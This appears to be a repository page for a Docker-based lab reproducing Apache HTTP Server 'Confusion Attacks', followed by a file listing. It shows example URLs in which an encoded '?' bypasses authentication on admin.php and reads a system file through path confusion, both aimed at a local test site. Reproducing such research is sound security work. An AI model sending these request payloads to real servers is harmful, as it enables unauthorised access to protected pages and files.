orange-confusion-attacks

Repro for Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

To build and run:

docker build -t my-php-website .
docker run -p 80:80 my-php-website

http://127.0.0.1/admin.php => 401
http://127.0.0.1/admin.php%3ftest.php => 200

http://127.0.0.1/html/usr/share/doc/hostname/copyright%3f

Name		Name	Last commit message	Last commit date
Latest commit History 6 Commits
config		config
scripts		scripts
src		src
.htaccess		.htaccess
Dockerfile		Dockerfile
README.md		README.md
build.bat		build.bat
cooly.php		cooly.php
run.bat		run.bat